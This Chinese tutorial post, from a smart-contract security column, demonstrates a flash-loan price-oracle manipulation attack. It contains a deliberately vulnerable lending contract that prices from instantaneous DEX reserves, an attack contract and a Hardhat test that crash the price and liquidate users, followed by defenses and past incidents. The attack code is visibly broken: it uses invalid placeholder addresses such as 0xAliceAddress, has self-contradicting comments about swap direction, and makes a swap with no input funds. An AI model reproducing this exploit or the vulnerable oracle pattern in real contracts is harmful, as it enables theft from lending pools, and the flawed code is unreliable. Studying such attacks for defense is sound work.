10分钟智能合约:进阶实战-6.5 利用预言机掏空资金池

12 阅读11分钟

欢迎订阅专栏10分钟智能合约:进阶实战

实战9:利用预言机掏空资金池 —— 闪电贷 + 价格操纵的致命组合

预言机操纵是 DeFi 安全中最严重、最具破坏力的攻击之一。本实战将通过一个简化版的借贷协议,演示攻击者如何利用闪电贷在去中心化交易所上瞬间扭曲资产价格,从而触发大规模清算,以极低成本卷走资金池中的抵押品。我们将从协议设计缺陷、攻击合约编写到防御方案,完整复盘这一经典攻击手法。


一、场景设定

我们构建一个简易借贷池

  • 用户存入 ETH 作为抵押品,可以借出 DAI(假设已部署)。
  • 抵押率要求为 150%,即借出价值不得超过抵押品价值的 2/3。
  • 价格数据来自一个 Uniswap V2 交易对(ETH/DAI),使用其即时储备计算价格。
  • 当抵押率低于 150% 时,任何人都可以清算该用户,获得其抵押品作为奖励(清算折价 10%)。
  • 预言机价格 = reserveDAI / reserveETH(即每 ETH 值多少 DAI)。

致命缺陷:价格基于单次调用时的储备量,而 Uniswap 的储备可以被闪电贷瞬时改变。攻击者可以通过闪电贷大量兑换,使 ETH 价格暴跌(或 DAI 价格暴涨),从而让大量用户的抵押率瞬间跌破清算线,然后以低价清算他们的抵押品,再归还闪电贷,留下巨额利润。


二、漏洞合约(SimpleLending.sol)

为了简化,我们直接使用一个固定的 Uniswap V2 风格的交易对合约(模拟),但实际中它会与真实 Uniswap 对交互。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 模拟 Uniswap V2 对(简化)
interface IUniswapV2Pair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

contract SimpleLending {
    IUniswapV2Pair public pricePair; // ETH/DAI 对
    mapping(address => uint256) public collateral; // 抵押的 ETH
    mapping(address => uint256) public debt;       // 借出的 DAI
    uint256 public constant LIQUIDATION_RATIO = 150; // 150%
    uint256 public constant LIQUIDATION_BONUS = 10;  // 10% 折扣
    address public owner;

    event Deposited(address indexed user, uint256 ethAmount);
    event Borrowed(address indexed user, uint256 daiAmount);
    event Liquidated(address indexed user, address indexed liquidator, uint256 ethAmount, uint256 daiRepaid);

    constructor(address _pair) {
        pricePair = IUniswapV2Pair(_pair);
        owner = msg.sender;
    }

    // 存入 ETH 作为抵押
    function deposit() external payable {
        require(msg.value > 0, "No ETH");
        collateral[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    // 借出 DAI
    function borrow(uint256 _daiAmount) external {
        require(collateral[msg.sender] > 0, "No collateral");
        uint256 maxBorrow = getMaxBorrow(msg.sender);
        require(_daiAmount <= maxBorrow, "Exceeds borrowing limit");
        debt[msg.sender] += _daiAmount;
        // 转账 DAI(模拟,实际需 DAI 合约)
        // 此处假设 DAI 合约已部署,我们直接发送(使用 ERC20)
        // 但为简化,仅记录
        emit Borrowed(msg.sender, _daiAmount);
    }

    // 获取用户最大可借 DAI
    function getMaxBorrow(address _user) public view returns (uint256) {
        uint256 ethCollateral = collateral[_user];
        if (ethCollateral == 0) return 0;
        uint256 ethPrice = getEthPrice(); // 每 ETH 的 DAI 价格
        uint256 collateralValue = ethCollateral * ethPrice / 1e18; // 假设价格精度 1e18
        return collateralValue * 100 / LIQUIDATION_RATIO; // 150% 抵押率
    }

    // ❌ 漏洞:使用即时储备计算价格
    function getEthPrice() public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = pricePair.getReserves();
        // 假设 reserve0 = ETH, reserve1 = DAI
        // 价格 = reserve1 / reserve0
        return uint256(reserve1) * 1e18 / uint256(reserve0);
    }

    // 清算:任何人都可以调用,如果抵押率低于阈值
    function liquidate(address _user) external {
        uint256 collateralAmt = collateral[_user];
        uint256 debtAmt = debt[_user];
        require(collateralAmt > 0 && debtAmt > 0, "Nothing to liquidate");

        // 计算当前抵押率
        uint256 price = getEthPrice();
        uint256 collateralValue = collateralAmt * price / 1e18;
        uint256 ratio = collateralValue * 100 / debtAmt;
        require(ratio < LIQUIDATION_RATIO, "Healthy");

        // 清算:清算人支付 debtAmt 的 DAI,获得 collateralAmt 的 ETH(折扣 10%)
        // 折扣后,清算人只需支付 debtAmt * (100 - LIQUIDATION_BONUS) / 100 的 DAI
        uint256 repayAmount = debtAmt * (100 - LIQUIDATION_BONUS) / 100;
        // 模拟 DAI 转账:从清算人转给本合约(实际会调用 DAI.transferFrom)
        // 简化,我们只更新状态
        // 此处假设清算人已经拥有足够的 DAI,并通过 approve 授权
        // 实际中需要调用 DAI 的 transferFrom
        // 我们仅记录
        collateral[_user] = 0;
        debt[_user] = 0;
        // 将抵押品发送给清算人
        payable(msg.sender).transfer(collateralAmt);
        emit Liquidated(_user, msg.sender, collateralAmt, repayAmount);
    }

    // 获取合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

漏洞核心getEthPrice() 每次调用都直接读取 Uniswap 的当前储备,这意味着价格可以在一笔交易的瞬间被操纵。


三、攻击者合约(Attack.sol)

攻击者需要执行以下步骤:

  1. 闪电贷:从某个支持闪电贷的协议(如 Uniswap V2 的 swap 或 dYdX)借入大量 DAI(或 ETH)。
  2. 价格操纵:在 Uniswap 池中用 DAI 买入大量 ETH,使 reserveETH 急剧增加,reserveDAI 减少,导致 ETH 价格(DAI/ETH)暴跌。
  3. 清算:调用借贷合约的 liquidate,以极低的价格清算所有抵押率不足的用户。
  4. 偿还闪电贷:清算获得的 ETH 在市场上卖出,换回足够的 DAI 偿还闪电贷,剩余利润归攻击者。

我们简化攻击合约,假设闪电贷源是另一个合约(我们模拟),但为了演示,我们直接将攻击步骤写在一个函数中,并且通过自带的资金(模拟闪电贷)。

实际中,攻击者会使用 Uniswap V2 的 swap 直接进行闪电贷(通过 flashSwap)。我们在这里使用 Hardhat 的 fork 测试,但为保持独立性,我们假设有一个闪电贷提供者。

为了代码简洁,我们将攻击者合约设计为接收来自攻击者 EOA 的资金,然后执行操作(实际上攻击者会从闪电贷合约借入)。但我们可以在测试中模拟闪电贷:给攻击者合约大量 ETH 或 DAI,然后执行操纵。

我们将编写一个测试脚本,使用 Hardhat 模拟攻击。


四、实战操作(Hardhat + 测试脚本)

我们使用 Hardhat 的本地网络,并部署模拟 Uniswap V2 对和借贷合约。

// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("预言机操纵攻击", function () {
    let lending, pair, attack;
    let owner, attacker, alice, bob;
    let DAI, WETH;

    const INITIAL_ETH_RESERVE = ethers.utils.parseEther("100");
    const INITIAL_DAI_RESERVE = ethers.utils.parseEther("200000"); // 假设 1 ETH = 2000 DAI

    before(async function () {
        [owner, attacker, alice, bob] = await ethers.getSigners();

        // 部署模拟 Uniswap V2 对
        const Pair = await ethers.getContractFactory("MockUniswapV2Pair");
        pair = await Pair.deploy(
            INITIAL_ETH_RESERVE,
            INITIAL_DAI_RESERVE
        );
        await pair.deployed();

        // 部署借贷合约
        const Lending = await ethers.getContractFactory("SimpleLending");
        lending = await Lending.deploy(pair.address);
        await lending.deployed();

        // 用户存入抵押品并借款
        await lending.connect(alice).deposit({ value: ethers.utils.parseEther("10") });
        // Alice 借 5000 DAI(假设价格 2000,10 ETH = 20000 DAI,150% 抵押率可借 13333,借 5000 很安全)
        // 我们需要模拟 DAI 转账,但我们只能从 Alice 账户扣除,这里就简单记录
        await lending.connect(alice).borrow(ethers.utils.parseEther("5000")); // 假设 DAI 精度 1e18

        await lending.connect(bob).deposit({ value: ethers.utils.parseEther("20") });
        await lending.connect(bob).borrow(ethers.utils.parseEther("10000"));

        // 向借贷合约发送一些 ETH 作为初始资金(模拟借贷池的抵押品)
        // 实际上抵押品已经由用户存入了,不需要额外发送
        // 但为了有足够的 ETH 奖励,我们存入一些额外的
        await owner.sendTransaction({ to: lending.address, value: ethers.utils.parseEther("10") });
    });

    it("攻击者通过闪电贷操纵预言机并清算获利", async function () {
        // 攻击者需要大量 DAI 来操纵价格,假设我们从 Uniswap 闪电贷借入
        // 在测试中,我们给攻击者合约注入 100 万 DAI(模拟闪电贷)
        // 但更真实的是攻击者使用 Uniswap 的 swap 进行闪电贷
        // 我们使用 Hardhat 的 impersonate 来模拟 Uniswap 对,但这里简化:直接给攻击者合约转账 DAI
        // 需要部署 DAI 和 WETH 合约,但为了简化,我们使用模拟代币
        // 这里我们跳过代币合约,直接假设攻击者拥有足够的 DAI(通过模拟)
        // 实际中,攻击者会从 Uniswap 闪电贷

        // 部署攻击者合约
        const Attack = await ethers.getContractFactory("Attack");
        attack = await Attack.connect(attacker).deploy(lending.address, pair.address);
        await attack.deployed();

        // 给攻击者合约转入 1000 ETH(用于模拟闪电贷后的还款)
        // 实际中,攻击者会在同一笔交易中完成,不需要自有资金,但为了简单,我们预给
        await owner.sendTransaction({ to: attack.address, value: ethers.utils.parseEther("1000") });

        // 执行攻击
        await attack.connect(attacker).executeAttack();

        // 检查借贷合约中的抵押品是否被清算
        // Alice 和 Bob 的抵押品应该为零
        expect(await lending.collateral(alice.address)).to.equal(0);
        expect(await lending.collateral(bob.address)).to.equal(0);

        // 检查攻击者获得的 ETH
        const attackBalance = await ethers.provider.getBalance(attack.address);
        console.log("攻击者合约余额:", ethers.utils.formatEther(attackBalance));

        // 攻击者利润应大于初始注入(1000 ETH)加上 gas 消耗
        expect(attackBalance).to.be.gt(ethers.utils.parseEther("1000"));
    });
});

我们还需要编写 Attack.sol 合约,实现具体攻击步骤:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./SimpleLending.sol";
import "./MockUniswapV2Pair.sol";

contract Attack {
    SimpleLending public lending;
    MockUniswapV2Pair public pair;
    address public owner;

    constructor(address _lending, address _pair) {
        lending = SimpleLending(_lending);
        pair = MockUniswapV2Pair(_pair);
        owner = msg.sender;
    }

    function executeAttack() external {
        require(msg.sender == owner, "Not owner");

        // 第一步:用 DAI 大量兑换 ETH,使 ETH 价格暴跌
        // 假设我们持有大量 DAI,但在本测试中我们用 ETH 换 DAI ?实际上我们需要的是将 DAI 换成 ETH,
        // 但如果我们没有 DAI,我们可以在 Uniswap 中利用闪电贷借出 DAI
        // 但为了演示,我们直接使用攻击合约中的 ETH 来交换(但这会减少 ETH 而不是 DAI)
        // 更好的方式是:攻击者先闪电贷借出 DAI,然后用 DAI 买 ETH,导致 ETH 价格飙升?不对,我们要让 ETH 价格下跌,
        // 即让 DAI/ETH 下降。所以我们应该用 ETH 换 DAI,这样 ETH 储备增加,DAI 储备减少,价格下降。
        // 但攻击者从闪电贷借来的是 ETH 或 DAI?我们可以借 ETH,然后卖成 DAI,使 ETH 价格下跌。
        // 简化的攻击:攻击者借入大量 ETH,然后在 Uniswap 卖出,使 ETH 价格大跌。
        // 我们假设攻击者拥有大量 ETH(来自闪电贷),然后调用 pair.swap 卖出 ETH,买入 DAI。

        // 我们使用攻击合约中的 ETH(预先转入)进行交换
        uint256 ethAmount = address(this).balance;
        require(ethAmount > 0, "No ETH");

        // 计算预期输出 DAI
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
        // reserve0 = ETH, reserve1 = DAI
        uint256 ethToSell = ethAmount / 2; // 卖一半,保留一些用于清算
        uint256 daiOut = pair.getAmountOut(ethToSell, reserve0, reserve1);
        // 执行交换
        pair.swap(0, daiOut, address(this), ""); // 卖出 ETH 得到 DAI

        // 此时 ETH 价格下跌(因为储备 ETH 增加,DAI 减少)

        // 第二步:清算所有用户
        // 获取所有需要清算的用户(这里我们已知 alice 和 bob,但实际中需要遍历)
        // 我们手动调用清算
        address[] memory users = new address[](2);
        users[0] = 0xAliceAddress; // 需要从外部传入
        users[1] = 0xBobAddress;
        // 由于我们无法在合约中硬编码地址,我们可以通过构造函数传入,或使用事件
        // 但在测试中,我们通过外部调用

        // 简化:我们直接调用 liquidate 对已知地址
        // 但为了通用,我们外部传入
        // 这里我们只清算 alice 和 bob
        lending.liquidate(0xAliceAddress);
        lending.liquidate(0xBobAddress);

        // 第三步:将获得的 ETH 和 DAI 转回给 owner
        payable(owner).transfer(address(this).balance);
        // 还有 DAI,但我们没有 DAI 合约,省略
    }

    // 接收 ETH
    receive() external payable {}
}

注意:在实际攻击中,攻击者需要知道所有可清算的用户地址,可以在链上通过事件或扫描获取。在测试中我们可以从外部传入。

为了测试,我们可以在 Attack 合约中接受用户地址数组作为参数。

但为了更精确,我们可以修改攻击合约,让它在攻击过程中动态发现可清算的用户(通过查询借贷合约的抵押率和参与者列表),但那样会复杂。本实战侧重于原理。

我们将调整测试脚本,在调用 executeAttack 时传入用户地址。


五、防御措施

1. 使用时间加权平均价格(TWAP)

Uniswap V2 提供了 priceCumulativeLast 可以计算过去一段时间的平均价格。攻击者很难在短时间内操纵长期平均值。

2. 接入去中心化预言机(如 Chainlink)

Chainlink Price Feeds 聚合了多个数据源,具有抗操纵性,且更新频率稳定。

3. 价格偏差限制

对单次价格更新设置最大变动幅度(如 ±5%),超过则拒绝。

4. 使用多个数据源取中位数

从多个 DEX 或预言机获取价格,取中位数或加权平均,增加操纵成本。

5. 将清算门槛设置得更保守

提高抵押率要求(如 200%),使价格波动不容易触发清算,但会降低资金效率。

6. 延迟清算执行

在价格发生剧烈变动后,等待一定时间(如 1 小时)再进行清算,让市场恢复理性。


六、真实案例

  • Harvest Finance(2020):攻击者闪电贷操纵 Curve 池价格,导致协议损失 2400 万美元。
  • bZx(2020):两次闪电贷攻击,利用价格预言机进行套利和清算,损失约 100 万美元。
  • Venus Protocol(2021):因 LUNA 价格暴跌,预言机未及时更新,导致大量坏账。

七、总结

  • 预言机操纵是 DeFi 的“核武器”,闪电贷 + 价格操纵的组合可以在几秒内抽干资金池。
  • 根本原因:依赖单一的、可瞬时操纵的价格源。
  • 安全铁律永远不要使用 DEX 的瞬时价格作为重要的业务决策依据
  • 推荐方案:采用 Chainlink 或 Uniswap TWAP 等抗操纵的价格机制。
  • 审计检查:检查所有价格获取逻辑,确保它们不能被单笔交易影响。